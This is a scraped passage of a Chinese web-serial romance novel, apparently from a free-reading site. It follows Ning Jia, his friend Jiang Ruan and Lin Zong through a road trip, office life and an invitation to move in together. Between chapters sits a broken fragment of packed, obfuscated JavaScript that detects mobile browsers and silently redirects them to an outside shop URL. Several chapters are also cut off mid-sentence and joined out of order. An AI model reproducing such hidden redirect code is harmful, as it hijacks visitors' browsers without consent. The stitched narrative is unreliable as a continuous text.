林纵好像不是很在意的样子:“跑了我会去追的。” 岩市距离予市五百多公里,江软开了五个小时车才到,大晚上高速上连车都很少,整个世界静悄悄的,车载音乐放了一轮,车上的两人渐渐都有些累了。 宁嘉打了个哈欠,打到一半又急急忙忙捂住嘴,但江软还是被他传染跟着了哈欠,含糊不清地说:“你要是困了就睡。” “我睡觉你开车啊?” 江软说:“要不然你开?” 宁嘉有驾照,但几乎没有开过车,更别说高速,到最后他为了护住自己的生命安全只能牢牢抓住安全带,一边打瞌睡一边和江软聊些没有营养到下一秒就忘记的话题。 凌晨两点多,江软把车停在宁嘉家所在的小区门口,因为太过震惊,什么瞌睡都没了,指着自己:“我,开了五个小时的车,最后还被拦在小区门口,要收我挺车费?!” 宁嘉打着哈欠陪笑,一点都不愧疚的样子:“我没有停车位也没有车,你开不进去不是挺正常的吗。” 江软不干了:“睡什么觉,我们去吃夜宵。” 岩市的优点大概就是这个了,凌晨的夜晚仍然是热闹的,两人走了不到三条街区就被小吃街浓浓的烟火气迷得走不动道,从街头吃到街尾,最后摸着圆滚滚的肚子回去睡觉。 一觉睡到当天傍晚,家里就一张床,两人睡在一起,宁嘉醒得早一点,起床时发出了小声的窸窸窣窣的动作,没多久江软也醒了,伸着懒腰往地上爬,宁嘉听到动静从浴室出来,嘴上还叼着牙刷,惊呆:“倒也不必行此大礼。” 江软直接扑倒了地上,躺平,翻过身,望着天花板:“少爷我上一次开这么久的车还在上一次。” 宁嘉问:“上一次是什么时候?” 江软想了想:“可能没有上一次。” 宁嘉:“......起来吧,我们去吃饭,你什么时候回去?” 江软仿佛在看一个渣男:“你这是卸磨杀江。” 宁嘉差点吞牙膏,摆摆手,回了浴室,洗漱完出来还接上先前的话茬:“你这么翘班,我怕叔叔打断你的腿。” 他们睡掉了一整个周一,按照江软的性子,周二也会被耽误掉,回程需要五个多小时车程,排除江父一时兴起打断江软的腿,江少爷的腿也可能在两次往返中报废数日。 晚饭和夜宵一起吃,江软啃着烤串顺便买了回程的机票:“我明天早上回去。” 宁嘉也准备明天去上班:“开车注意安全。” “我不开,我喝酒了,我要坐飞机回去,”知道宁嘉不会要,不然江软真不想要这车了,“车先借你用用。” 在自己家里,宁嘉喝酒也随意一点,醉不至于,总是比在别的地方放得开,太久没喝酒了,稍微喝点便带了些醉意,眼神都有点飘:“我坐公交更方便。” “那就先停你这,反正我不要,我不开,”江软开始耍无赖,“我要喝酒,你别逼我酒驾。” 第二天上午,江软开开心心地坐飞机走了,宁嘉和他一起出门回了公司。 宁嘉一直没办离职,和杨哥通过电话后,两人就没再谈过这件事,公司里新招了同事替了宁嘉的位置,遇到需要交接的东西还是会有人给宁嘉打电话。 早高峰的原因,杨哥在路上堵了一会儿,迟到了十分钟,一进办公室就看见沙发上歪七扭八坐了个人,枪声不绝于耳,他拍拍门:“你这是过来上班?” 宁嘉笑嘻嘻的,手机还捧在手里:“杨哥。” 最开始杨哥觉得宁嘉太吵,这小孩确实有点闹腾,后来有人和他说:“你不觉得有宁嘉在办公室都热闹了很多吗?” 宁嘉这半个月不在,办公室里有些安静过了头,杨哥这会儿看到人,还真是挺高兴:“不是说结婚?还以为你不回来了。” 宁嘉笑了笑,没接那个茬,手机也没放下:“要回来的,我还得回来拿工资呢。” 杨哥哼笑了一声,那笑容怎么看怎么吓人:“你这个月上班时间不超过十五天,工资连两千都没有,拿着这么开心啊?” “什么?!” 宁嘉凄惨地给江软发消息:吐出来。 下飞机后,江软回:什么。 宁嘉:昨天前天一共吃了我五百块,我这个月工资不到两千。 江软:[呕吐][呕吐]真惨。 宁嘉欲哭无泪。 下飞机后,江软顺便去吃了顿午饭,紧接着一脸乖巧地回了公司,在工作岗位老实巴交上了一下午班,下班时间被他爹抓到办公室教育半天,全程低着头,说什么都:“是是是。” 好像很配合,又好像很不配合。 二十分钟后,公司里人走得七七八八,江软也准备回家了。 电梯口站了个人,准确来说是倚靠在墙边,这人穿着白衬衫看起来斯斯文文的,姿态又带了着落拓,并且好像看着有点面熟。 林纵提前下班过来的,等人的时候还顺便用手机处理了下工作,他抬起头,对江软笑笑:“不好意思,找你两天了,一直没看到你,只好来公司等。” 江软想起来这个人是谁了,主动把他放到“拱我家白菜的猪”列表,出言不逊:“你看起来一点都不抱歉。” “是吗?”林纵笑问。 江软:“......” 林纵这个人气场太强,笑起来渗人得很,和他爸有一拼,总得来说像个笑面虎,江软最怕这样的人,他想要后退一步,但是忍住了:“你找我什么事?” 林纵温和道:“我找宁嘉。” 江软猜也是:“他回岩市了。” “我要怎么找到他?”其实林纵找了宁嘉两天,因为江软也不在,他猜到江软应该是陪宁嘉回去了。 江软不知道宁嘉把林纵拉黑的事,只知道要护着自己人:“不知道,你自己想办法。” 林纵好脾气地问:“你方不方便告诉我他住在哪里?” 江软不客气地说:“不方便。” 林纵和小少爷不熟。只知道对方不学无术,衣食无忧地长大,大概率是没有软肋的,他试着把江软当成宁嘉看待:“我会告诉江伯伯你带走了我的未婚夫。” 啊啊啊啊啊,顶着一张让人如沐春风的脸,面不改色说着威胁江软地说。 “......好歹毒的男人。”江软直接报了地址,暂时掀翻和宁嘉友谊的小船。 周二,宁嘉开开心心上了一天的班,晚上被同样开开心心的杨哥拉去聚餐。 宁嘉本来就要转正,原来的工作岗位空出来也是需要新鲜血液进来,这一次聚餐除了欢迎新同事外,还要恭喜宁嘉即将进入月薪八千的行列,以及他终于大学毕业了。 吃饱喝足还去KTV唱歌,闹到最后就有些晚,但宁嘉还是很高兴,回家路上也一直是笑着的。 嘴角带着弧度走出电梯,突然就结巴了:“......学,学长。” 林纵平淡地“嗯”了声,用好像他们白天才见过面似的语气说:“回来了。 11. 第 11 章 《每天都想和暗恋对象离婚》全本免费阅读 由于宁嘉太困,给林纵煮完泡面,就靠在餐桌上昏昏欲睡,什么话都没来得及问,躺到床上稍微清醒一点的时候,满脑子都是紧张,那些话宁嘉又不敢问了。 这一夜睡得宁嘉很不舒服,总惦记着身边有个人躺着,连睡觉都不敢大幅度转身,因为想到这个人是林纵,连呼吸都放得很轻,恨不得自己睡在地板上。 租的房子离公司近,宁嘉起床也晚,睁眼的时候林纵已经醒了有一会儿了,宁嘉伸了个懒腰,脑袋偏了偏,看见他的床头倚着个人,顿时僵住了。 林纵以一种怡然自得的姿态接收到宁嘉的视线,轻声问:“醒了?” 宁嘉差点把腰给扭了,一脸悲催地扑倒在床单上,闷声道:“早上好。” 林纵安抚地拍了拍宁嘉的脑袋:“给我找一套洗漱用品,我要回去了。” 宁嘉猛地抬头:“这么快。” “嗯,”感受到宁嘉不加掩饰的不舍,林纵笑了笑,“要回去上班。” “好吧,”宁嘉的背影看起来惨兮兮的,反应过来后,倏然转身,“学长,你是不是早醒了?” 林纵挑了下眉。 宁嘉惊恐:“我打呼噜了吗?” 林纵高深莫测地笑笑。 这一个早上,因为林纵的笑容,宁嘉一直闷闷不乐,直到林纵真的要走,才犹犹豫豫地问:“学长,我睡觉真的打呼噜吗?” 因为低血糖的原因,每天早起,林纵的兴致都不是很高,这天早上一直在被宁嘉逗笑,他过来一趟什么都没有做,只是看着宁嘉这样,也觉得值得。 “应该没有吧。”林纵看着宁嘉,笑了笑。 宁嘉这才发现自己被耍了,不等他埋怨林纵不好,就想到林纵要走了:“学长,你就走了啊。” 林纵站在门口,穿着宽松的短袖,低头看着宁嘉磨磨蹭蹭地绑鞋带:“嗯,怎么了?” 衣服是宁嘉的,但不是平时穿的那些不符合林纵尺寸的短T。宁嘉不爱裸睡,睡觉时喜欢套一件宽松的衣服在身上,那是宁嘉衣柜里唯一能让林纵穿下,并且不损害他个人形象的纯白短袖。 宁嘉蹲坐在地上,鞋带在手指上绕了个圈,慢吞吞地问:“......那你昨天过来是因为?” 宁嘉做好了林纵兴师问罪的准备,也打算实话实说不能结婚的原因,却听林纵说:“你删了我的微信,不接我电话,” 宁嘉软绵绵地补充:“......电话拉黑了。” 林纵淡淡道:“猜到了,我总得知道你是不是出了什么事。”他又看着宁嘉,“没事就行了。” 学长实在是太温柔了,没有说怪罪的重话,他看着宁嘉,只是轻描淡写的眼神都让人觉得安稳。 宁嘉意识到了自己的错误:“抱歉,学长。” 林纵说:“抱歉就把微信加回去。” 宁嘉:“......我不知道你微信号。” 林纵不为所动:“自己想办法。” 大学时他们交集很少,共同的社交群却有好几个,这几年宁嘉一直没有换手机,那些没再聊天的群也都还在聊天列表里。林纵站在门口等,宁嘉也忘了上班会迟到,列表划拉到很下面,找到了共同群,又找到了林纵的头像。 点击了添加,宁嘉仰头,笑眯眯地说:“加好了。” 单方面拉黑的好友,单方面再添加,林纵什么都不需要做,宁嘉一直在他的好友列表里。 宁嘉终于放下心系鞋带了,总不能让林纵白跑一趟,本来他也不应该删好友的。 “对了学长,问你件事,你怎么知道我家地址的啊?” 林纵很果断地说:“江软告诉我的。” 宁嘉洋装生气:“我就知道,他这个叛徒。” 事实上叛徒也是被威胁的,更何况江软说的是:“XX小区,南门往右数第二排沿街那栋二单元501。” 江软只记得路。 下了电梯,宁嘉被骄阳晒得眯起了眼睛,后退一步:“学长,你要不要开车回去?” 林纵:“?” 宁嘉说:“江软的车在这里,不知道要停多久,感觉他短时间内不会过来开走,放在这里风吹日晒的不太好。” “天气太热了。”林纵答非所问。 宁嘉:“嗯?” 林纵看了看宁嘉的后脑勺:“下次再说。” 宁嘉歪过脑袋:“嗯嗯?下次?” 不愿意多说,林纵迈步出去了。 予市距离岩市五百多公里,正常开车需要五个半小时,高铁三个多小时,飞机两个多小时,不知道林纵是怎么过来的,细问只能让宁嘉更加罪孽深重。 宁嘉什么都没问,也不知道林纵要怎么回去,这让他整个上午都有些心不在焉,微信打开了好几次,他和林纵的聊天窗口还是空白的,一条消息都没有。 午休结束后投入到下午的工作中,三点多的时候同事嚷嚷着要喝下午茶,手机传了一圈,到宁嘉这里,还来不及点单,宁嘉自己的手机先响了。 宁嘉点了杯不要珍珠的珍珠奶茶,多冰,选甜度的时候,从以往喝的五分糖改到了七分糖,毕竟生活已经够辛苦了,没必要再为难自己。 把手机递给下一位同事:“我去接个电话。” 予市今天是阴天,下了点小雨,早上还闷热的天气下午渐渐变得凉爽,天气影响心情,许诗瑶终于迟钝地想到了她的儿子:“嘉嘉,周末要不要来家里吃饭。” 公司楼层很高,环形结构,一层楼有三四家公司,南面的角落有个一米宽的窄道,尽头是窗户,窗外是一片废弃的停车场,闲来无事,宁嘉就喜欢来这边转转,嘴里叼个冰淇淋。 “先说好,就我们两个,还是你男朋友也在。” 宁嘉知道许诗瑶的意思,除了帮吴良仁催婚外,也企图营造出一家三口友好和睦的假象。 可事实上宁嘉从来没有反对过许诗瑶和吴良仁的交往,他知道自己的亲生父亲不好,因为赌让他失去了太多东西,可宁嘉也记得,小时候在妈妈和爸爸吵架闹离家出走的时候,爸爸也会给他做蛋炒饭吃。 “就我们两个呀。”许诗瑶说。 宁嘉表示很满意,但是说:“好的,但是我周末没时间。”、 许诗瑶说话时总带着江南女子的温婉,很轻很软的腔调:“为什么呀,要约会吗?” 宁嘉说:“不是,我回岩市了。” 许诗瑶问:“回岩市干吗呀?” “工作,上班,我要赚钱。”宁嘉等着下个月拿他月薪八千的工资。 许诗瑶没明白:“但是你不是要结婚的吗?” 就像没有回应林纵的考虑一样,宁嘉也没有明确给许诗瑶回答:“妈我从来没答应过。” 可是许诗瑶都打算好了的。 许诗瑶本来想和林家当家夫人见个面,讨论一下两个孩子的结婚事宜,挑挑日子,不知道两个男生结婚有什么不同,可还是希望该有的流程都不要少。 但吴良仁隐晦地说起林家似乎没有女主人,让许诗瑶自己看着安排,林家那边他来沟通。 吴良仁一样是这样的,很平静温和的一个人,遇到什么事都不慌不忙的,让许诗瑶自己做主,出了问题他再来善后。 只是许诗瑶对这些东西也不懂,她连黄历都看不来,想要去请教算命先生的时候,才发现她连林家小孩的生日都不知道。 打给吴良仁的电话没接,她在会客室等了半个多小时才被回拨,吴良仁语气还是淡淡的,不管发生什么事都不会受影响,让她很有安全感:“生日不好问,林家那边不挑这些,你看着来吧,两个孩子过得好就行了,现在年轻人也不注重这个。” 许诗瑶不安地问:“我说了算呀。”她的人生从来没有做过很重大的决定,总要有人带着她才可以。 吴良仁的笑也是温和的,如沐春风:“你决定就行了,别在外面待太晚,早点回家,可能要下雨了。” 算命先生问起结婚人生辰八字,许诗瑶把准备好的纸条拿出来,但还少了一份,问起另外一个人的,她支支吾吾地说:“麻烦您算个最近的好日子就行。” 算命先生什么不懂,来算命的,有信命的也有不信命的,过程并不重要,能得到他们想要的结局就可以,于是他胡子一捋收了许诗瑶八百八十八元微信转账。 “但是你也没拒绝呀。”没被宁嘉拒绝过,许诗瑶这会儿不知道该说什么,手机拿着,沉默的时间里,宁嘉感受到她的不安。 他妈妈就是这样,因为没见过什么世面,所以胆子小,想法也单纯,宁嘉从来 12. 第 12 章 《每天都想和暗恋对象离婚》全本免费阅读 宁嘉连忙把游戏退了,把江软关在刺激战场。 “学长,你怎么来了?” 宁嘉怀疑自己有点毛病,他招呼朋友挺擅长的,每回有人来他家,都能高高兴兴把人迎进门,吃喝全上,伺候得挺像那么一回事。 林纵过来就不一样了,总是问为什么过来,又眼巴巴看着人堵在他家门口却忘了让他先进来。 于是林纵就那么站在门口,看着宁嘉一副不欢迎他的样子,问:“不欢迎?” “欢迎欢迎!”宁嘉反应过劲,立马让开位置,林纵错身经过的时候,刚好听见宁嘉嘀嘀咕咕,“也不是很欢迎。” 林纵:“......” 宁嘉不知道,他想什么都写在脸上,来的路上林纵已经想好了说辞:“周末了,出来散散心。” 这是回答宁嘉之前的问题。 但宁嘉狐疑地瞧着林纵,又琢磨他现在的回复,林纵便说:“不想待在予市。” 其实是很不诚心的理由,但宁嘉好像被林纵说服了,点了点头,在手机疯狂蹦江软消息的时候把林纵请进来:“学长,你吃过晚饭了吗?” 林纵看起来很会照顾人,并不需要宁嘉担心这种事情,可能是有了上一次的经验,宁嘉才会问这样的话。 林纵一听,觉得自己真像个过来蹭饭的:“还有泡面吗?” 最后一包泡面,前天晚上被吃掉了。 那天公司没有聚餐,宁嘉早早回到家,望着窗外依然明亮的天,不知为何有点懒得动弹,点外卖也需要提供情绪,但那天宁嘉的心淡淡的。 他平静地去厨房煮了碗泡面,又看着不怎么样的电视平静地吃完了那碗面,那天晚上江软没找宁嘉打游戏,宁嘉也没点开app,只是刷了刷网页,他睡得很早,但是心很平静,只觉得有点无聊。 看出了宁嘉的“捉襟见肘”,林纵笑了下:“我叫外卖吧,你吃了吗?” 都十二点了,宁嘉怎么可能没吃,不等回答,又听林纵说:“陪我吃一点吧,你想吃什么?” 宁嘉微微向下低头,睁大眼睛看着林纵,那模样多少有点无辜,林纵了然:“挑食是吧,”手指在外卖软件上点了点,“寿司吃吗?” 宁嘉眼睛一亮,狂点头。 下午的时候办公室里的同事在讨论吃下午茶,他们在炸鸡和寿司之间选了炸鸡,宁嘉没有表达意见,但他今天确实很想要吃寿司。 宁嘉虽然挑食,却是个很会提供情绪价值的人,和林纵吃的每顿饭他都是笑着的,笑眯眯的,好像很满足的样子。 林纵没有觉得宁嘉是个矛盾的人,事实上大学那段时间,仅有几次看到宁嘉,对方表现出的更多都是这样开朗阳光的形象,挑食算不上什么缺点,更像一种情趣。 林纵是下班后直接过来的,和周二那天一样,穿着在宁嘉眼里没有差别的白衬衫和西装裤,什么都没有准备。 哦,也不能完全这么说,宁嘉从衣柜里拿出一个袋子,那是林纵走后第二天,宁嘉收到的快递——是林纵穿走的,并且洗好的那件本来是宁嘉的睡衣。 宁嘉心里有点异样,他自己也说不准,男生之间互相穿衣服本来是再正常不过的人,可能是宁嘉龟毛,觉得睡衣和日常的衣服有所区别,林纵把衣服给他寄回来的时候,宁嘉就没有打算再穿。 此时此刻,宁嘉听着浴室里哗啦啦的水声,后知后觉感受到了林纵的阴险。 林纵穿着睡衣香喷喷地从浴室里出来,宁嘉盘腿坐在床上,幽怨地望着他:“学长,你是不是早就打算好了要过来,”他想起来了,“上次还和我说什么下次再说。” 林纵头发还有点湿,宁嘉从柜子里拿出条干净的毛巾,林纵没有立刻接,而是看着宁嘉,等到宁嘉投来不解的神情时,轻飘飘地说:“不是打算,我早就告诉你了。” 宁嘉:“什么时候?” 林纵把毛巾接过来,因为离得很近,擦水的时候,溅了几滴在宁嘉的脸上:“我说下次的时候。” “......”宁嘉愤愤擦掉脸上的水。 一米五的床铺靠墙,这在一定程度上增加了宁嘉可以在这张床上活动面积,宁嘉往墙边挤了挤,把位置让出来给林纵。 这一次,宁嘉甚至没有再问,默认林纵要住在家里的事,(一点都不)坦然地把林纵当成江软来看待,这和有没有钱没有关系,住酒店当然没有家里舒服,这是江软横躺在宁嘉床上时说的原话。 宁嘉只好这么安慰自己。 手机上有江软发的消息,很多,从吐槽宁嘉游戏中途退赛,到后来江软吹牛逼说自己带着挂机狗吃了鸡,最后,江软似乎是想明白什么,他说:嘉er,春宵一刻值千金。 宁嘉:[鄙视][鄙视] 宁嘉背对着林纵蜷缩在墙角,闭上眼很想要快速入睡,但是明天是周六,好像潜意识告诉自己这一晚不用睡觉都没有关系,因为神经是放松的,明天没有任何需要他做的事情。 于是宁嘉又开始想,可思绪乱糟糟的,床另一侧的那个人虽然没有动静,存在感却比宁嘉想象的还要强烈,宁嘉又想找江软了。 宁嘉:吃鸡吗? 江软:? 江软:结束了? 江软:这么快? 江软:你学长是不是不行? 宁嘉:你才不行! 宁嘉:呸! 宁嘉:我们什么都没有干。 卧室里很暗,手机屏幕亮度调到最低,触摸屏动作也不会有声音,在宁嘉觉得四周安静如鸡的时候,猛然听到不属于他发出的动静,抖了个激灵。 “还不睡?”林纵说了和三天前一样的话。 宁嘉实在是不困,早睡一般都是为了上班。人在酒后和深夜里都很容易沉醉,夜色和酒精都是伪装,是很好的,替自己狡辩的理由。 宁嘉像烧烤架上的肉串,顺着竹签转动,笔直的转了个身。 昏暗的夜色里,宁嘉看见林纵模糊的侧脸,真的很神奇,确实像是一场酒醉后的美梦。 大学里,大概只有江软这样本就身在高处的人不会过分注意到林纵,从宁嘉第一天见到林纵开始,林纵就是特别的,要一颗悬挂高空、稳定发光的恒星。 因为人们只会仰望星星,明白几万光年的距离不是他们倾尽一生可以靠近的。 宁嘉胳膊枕头脑袋侧躺,希望这场梦可以做得长久一点:“学长,上班很累吗?” 林纵本就好听的声音在夜色里显得低沉,更为动听:“为什么这么问?” 因为你说出来散心啊,宁嘉蹭了蹭脸颊:“感觉你应该很累,毕竟要赚好多钱。” 林纵便说:“累吧。” 宁嘉替林纵抱屈:“我就知道。” “但不是因为赚很多钱的关系。”林纵像是笑了一下。 宁嘉问:“那是什么。” 林纵说:“赚了钱却没有体会到花钱的快乐。” “这么惨啊?”宁嘉也想体会这样的累。 “所以明天陪我出去玩,我花钱,你当导游。” 宁嘉这才意识到,原来林纵离他也没有遥远,不是永恒稳固的星星,他也是有缺点的,比如他不会花钱。 真是的。 宁嘉模模糊糊“嗯”了一声。 林纵拍了拍宁嘉的肩,轻声说:“那现在先睡。” 时常出差的原因,林纵在陌生的床上也不会失眠很久,不存在不适应环境的情况。 林纵半夜惊醒,却以为地震了,睁开眼,神色清明,起身的动作一顿,一条腿正稳稳当当地压在他肚子上。 宁嘉睡得不深,翻身的时候,有模糊的感觉,腿掀到被子上,触感好像不对。半梦半醒的时候,人最不清醒,想要醒过来也不能够。宁嘉一只脚被周公拉住,一只腿压在林纵身上。 片刻后,潜意识战胜了周公,宁嘉在睡梦中磨磨蹭蹭地后退,嘟囔着:“我不是故意的。” 林纵简直被气笑。 昨天夜里下了场雨,雷声阵阵。 清晨,潮湿的路面上又落下了细碎的雨滴。 林纵起床时宁嘉还没醒,也没有叫他,上次用过的洗漱用品大概跟着垃圾袋被垃圾车运走,林纵拿了副新的出来,洗漱完去厨房烧了热水,晾到温热正好入喉。 宁嘉租的公寓面积不大,但因为地段远,价格也不高,可能也是这个原因,客厅外还有个不起眼的小阳台。 昨日的闷热散尽,阳台上凉爽的空气沁人心脾。 假期的早上,和林纵一样起早的还有闻凯和闻凯的电话:“你人?” 护栏上沾了水珠,林纵轻轻掸了掸,没在意,靠在上面,表情看起来真的在散心:“不在。” 闻凯这一生如履薄冰,伤他最深的不是他的家人,而是十次有五次会拒绝他的林纵:“几个意思?” 林纵于是告诉他:“我不在家。” “不在家你能去哪?”闻凯问。 林纵的社交极其简单,除了上班和在家外的其他时间,闻凯都可以拥有:“大周末出差?” “在岩市。”林纵回答了闻凯上一个问题。 闻凯还真以为林纵在出差:“干什么的。” 林纵的语气淡定的不能再淡定了:“在宁嘉这里。” 闻凯惊了,他妈的声音都抖了:“林纵,你想干什么。” 当初说好陪老子孤独终老,竟然想跑? 林纵也不知道。 林纵说喜欢,又追到了宁嘉家里,可真问他要什么,他也没想好,只觉得和宁嘉在一起很舒服。 先前说可以结婚,林纵便觉得结婚很好,因为是和宁嘉。但宁嘉说不和他结婚,林纵又觉得这样也没有关系,因为宁嘉不喜欢。 宁嘉起床是中午,他完全忘了林纵还在他家的事情,打着哈欠走出房间,半张着嘴,被沙发上好整以暇看着他的林纵惊出了眼泪:“学长,我忘记你在了......” 不知道宁嘉什么时候醒,林纵自己已经吃过饭了,外卖是干净的便当,凉了也不会影响口味。 宁嘉坐下来吃东西的时候还有点愧疚:“学长,你好不容易来一趟,我还让你吃外卖。” 林纵安慰他:“这家外卖很贵。” 宁嘉问:“多贵?” 林纵说:“你看发票。” 发票还挂在包装袋上,宁嘉轻轻扫了一眼,不争气的眼泪从嘴角流出来:“呜呜呜,怪不得,这么好吃。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12740937|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要发。” “那......你先去发?” “你一个人在这吃?” 宁嘉真有这个打算,毕竟他还没吃饱,以往几次和江软出去也遇到过这种情况,都是让江软把账结了,然后爱去哪去哪。看着林纵的眼神,竟然没能说出口:“......那我?” 作为宁嘉的学长,林纵相当善解人意:“不着急,你先吃。” 宁嘉:“......不是说要发文件吗?” 林纵:“等一等又没事。” 因为林纵的语气太过轻描淡写,宁嘉惊呆了:“学长你......”竟然是这样的学长,好霸气,给你竖个大拇指。 不知道宁嘉又在脑补什么,林纵笑了下:“是我朋友,等等没什么关系。” 话是这么说,宁嘉还是把桌上的东西一股脑下进锅里,煮熟了赶紧吃,就这么让他走肯定是不行的,再说林纵也说了是熟人,相当相信学长的话,把学长的话当作信条,信就对了,有火锅吃。 傍晚时雨停了,天还没有完全暗下来,宁嘉站在餐厅门口,院子里的树枝上落下雨水,刚好滴落进池塘里,扑腾一声荡起水花。 宁嘉收回视线,体贴地不给林纵嫌麻烦:“学长,你有事先去忙吧,我自己回去就行。” 林纵却轻飘飘地看了他一眼,话也轻轻落下:“文件在我家里。” 宁嘉点头:“那你回去吧。” 林纵说:“你跟我回去。” 宁嘉震惊:“......?” 就像林纵说的,他从来不做后悔的事,所以他说出口的话也没打算让宁嘉反驳,搭着宁嘉的肩往车库的方向走:“就回去发个文件,晚一点一起去看个电影。” “哦,是要,看电影啊。”宁嘉急匆匆地被林纵推着走,声音也断断续续的。 “不然你以为呢?”林纵在他耳边问。 宁嘉:“......” 林纵的住所离餐厅不远,从车程来判断,宁嘉猜测林纵可能是这家火锅店的常客,点餐的时候很熟练,服务员看到林纵的表情客气中带了些随意。 林纵住的是普通小区,电梯停在二十层,解锁进门后,拿了双拖鞋给宁嘉,头也不回进了书房:“随便坐。” 宁嘉才不敢随便,穿上鞋拖,眼睛都不敢乱瞟,直直穿过客厅,站在阳台的玻璃门前向外看,就不敢再动了。 林纵出来时,宁嘉的脸都快贴在玻璃上了,双手扒拉着玻璃里,其实是有点乖的。 “在干什么?” 宁嘉转过头:“学长。” 林纵打开另一侧的阳台门,门外潮湿的水汽争先恐后地闯进来,冲散了客厅里的闷热:“这场雨下个没完。” 原先在车里也有这样的感觉,这会儿就算开了门宁嘉也没有觉得好一点,他感受到了紧张和局促,像是被关在狭小的笼子里,但面前有一只猛虎,单单是看到,都觉得喘不过气。 宁嘉连讲话都磕磕绊绊:“是吧,我们那也下了很久的雨,原来这里也一样啊。” 林纵似乎没有察觉宁嘉的不自在,只是因为话题刚好结束了,回了个:“嗯。” 宁嘉:“......” 先前分明说好了回来发个文件就走,现在又不提了,如果宁嘉现在面对的人是江软,早就管自己走了,哪里还需要等江软提,可林纵不一样,就像宁嘉不会问江软要不要和他结婚一样不同。 那点不一样的差别指的可能是林纵是天仙,但江软吧,江软吧...... “你现在住在哪里?”就在宁嘉心中天人交战的时候,林纵问。 宁嘉反应不及,下意识回答:“还在江软那里。” 上一次过来还和江软客气一下,这一次宁嘉到了江软家门口,才临时通知:我晚上住你家。 当时江软被工作折磨的□□:好好嚎。 先前和林纵吃完饭,林纵送宁嘉回去的时候也去过那边,江家人对小儿子不可能差,从小到大江软生活的环境都是极好的,住在那里,宁嘉无疑是自在和舒服的,何况江软和他是朋友。 大概是宁嘉淋了一场雨跑到林纵面前说想要和他结婚,也可能是宁嘉明明惴惴不安又还是在林纵身边深深睡去,又或许是休息室被推开又重新关上的门。 幻灯片播放的记忆不仅仅是重逢以来,还有三年前,两年前。 于是很自然地,林纵做出邀请:“宁嘉。” “嗯?” “要不要搬过来和我一起住?” 17. 第 17 章 林纵把搬家这件事变得很有仪式感,比如宁嘉只有一个行李箱,出门坐辆公交都可以,但他非要开车来接。 早上八点多,宁嘉在睡梦中被铃声吵醒,身体先醒了,脑子没醒。 昨晚睡觉前不知道把手机放到哪里去了,在床上摸了半天,人都快醒了才摸到,宁嘉简直崩溃。 电话里传来林纵一如既往平稳的声音:“醒了吗?” “?”手机上的时间让宁嘉想哭:“学长,这才几点。” 林纵在笑,宁嘉就算是意识不清也能感受到他学长这会儿的心情很不错:“上班不用早起?” 宁嘉还在持续一种想哭的状态:“但是今天不是周六吗?” 因为周末就是周末,要晚睡晚起才能对得起假期。 昨晚下了大半夜的雨,早晨空气清新,林纵摇下车窗点了根烟,打火机咔嚓一声轻响,手搭在窗沿掸了掸烟灰:“那你再睡一会儿,我在楼下等你。” 宁嘉骨碌碌地坐起来,顿时清醒,哭笑不得:“不带这么玩我的。” “我没玩你。”林纵说。 宁嘉没有睡醒,才会觉得林纵的声音格外低沉撩人,他都惊了,大早上心脏不符合规律的跳动着,整个人从床上跳起来,几件衣服收拾得乒乒乓乓,把江软都吵醒了。 “你在干吗啊,宁嘉。”江软揉着眼睛,对宁嘉很不满意,只是叫宁嘉的全名已经是江软讲得最狠的话了。 江软看着脾气臭,像个河豚似的,动不动就鼓着身体气得硬邦邦,实际上对亲人和认定的朋友相当柔软。 宁嘉还是慌里慌张的,用完的牙刷不一小心扔进了垃圾桶了:“你好?” 宁嘉差点把漱口水吞了:“我得走了。” 江软惊了:“大清早去哪?你最近发生了什么一件事都没有告诉我呢,现在是准备回岩市了?这模样是睡过头了?要不我送你回去吧。” 江软睡乱的头发还支棱在头顶,眼睛半睁着,眼角都快被揉红了,一副半死不活的样子还要送宁嘉回家。 这一刻,宁嘉说不感动一定是假的。 这几天发生的事,宁嘉什么都没有告诉江软,不是不想说,是说不出口。 这些事但凡可以说出口,大概就不是现在这样的结果了。 宁嘉嘴角有没擦干的泡沫,就这么突然上前,抱了江软一把。 江软愣住,装模作样要推开宁嘉,义正严词:“嘉嘉,我告诉你啊,我虽然搞基,但是绝对不会和你搞!” 就着这个姿势,宁嘉不动声色把泡沫擦江软衣服上,江软要骂街了:“宁嘉,你这个贱东西!” 宁嘉笑嘻嘻松开了手,前几天的寡言和阴郁荡然无存,朝江软笑起来,却并不勉强:“我没有要回家,我回不去了,不过,我早就没家了。” “大清早,干吗呢你。”江软靠在浴室门边,不太放心地看着宁嘉。 宁嘉往脸上冲了把水,用毛巾粗鲁地搓了搓,被江软这一打断,因为林纵产生的莫名的悸动消失了不少:“我要和学长结婚了。” “谁?!” “林纵啊。”宁嘉擦干净脸说。 江软一言难尽地看着宁嘉,想说,又不知道该怎么开口,不死心地问:“哪个林纵?” 宁嘉莫名其妙:“你还认识哪个林纵?” 虽然许诗瑶给宁嘉的压力大了点,但江软也不能眼睁睁看着宁嘉往苦海里跳:“你要不要,再考虑考虑呢?” 宁嘉斜睨着江软,不知道理由,也还是好声好气和江软说了:“要不,你和我结婚呢?” 江软立马护住自己:“你不要那么饥不择食!” 宁嘉目光放荡:“确实不至于。” 江软:“......操。” 宁嘉回房间收拾他仅有不多的几件衣服,行李摊在地上,从床上椅子上各处翻找到的衣服随意地丢进去,片刻后,他站起来,打量着乱糟糟的行李箱,又把所有的衣服捧出来,一件件叠好放进去。 江软就站在门口看完了全程,怎么说呢,就觉得宁嘉有点做作,和当初隔着游戏听到宁嘉和林纵的对话差不多。 江软还是没眼看,为了好友的终身幸福着想,多此一举地问:“你不觉得林纵很可怕吗?” 宁嘉不解回望过去:“软软,你在说什么啊,学长他很好的。” 根据“有事才软软”原则,江软判断,宁嘉并没有生他的气,但这蠢玩意是个舔狗,似乎至今都觉得林纵是个温顺的大绵羊,谁说怼谁。 但林纵真的是吗? 江软只要一回想上次林纵来找他,并且用温柔的语气和善的面庞威胁他的时候,整个人都不太好,别说困了,他现在想去洗个热水澡,一整个寒气逼人的感觉。 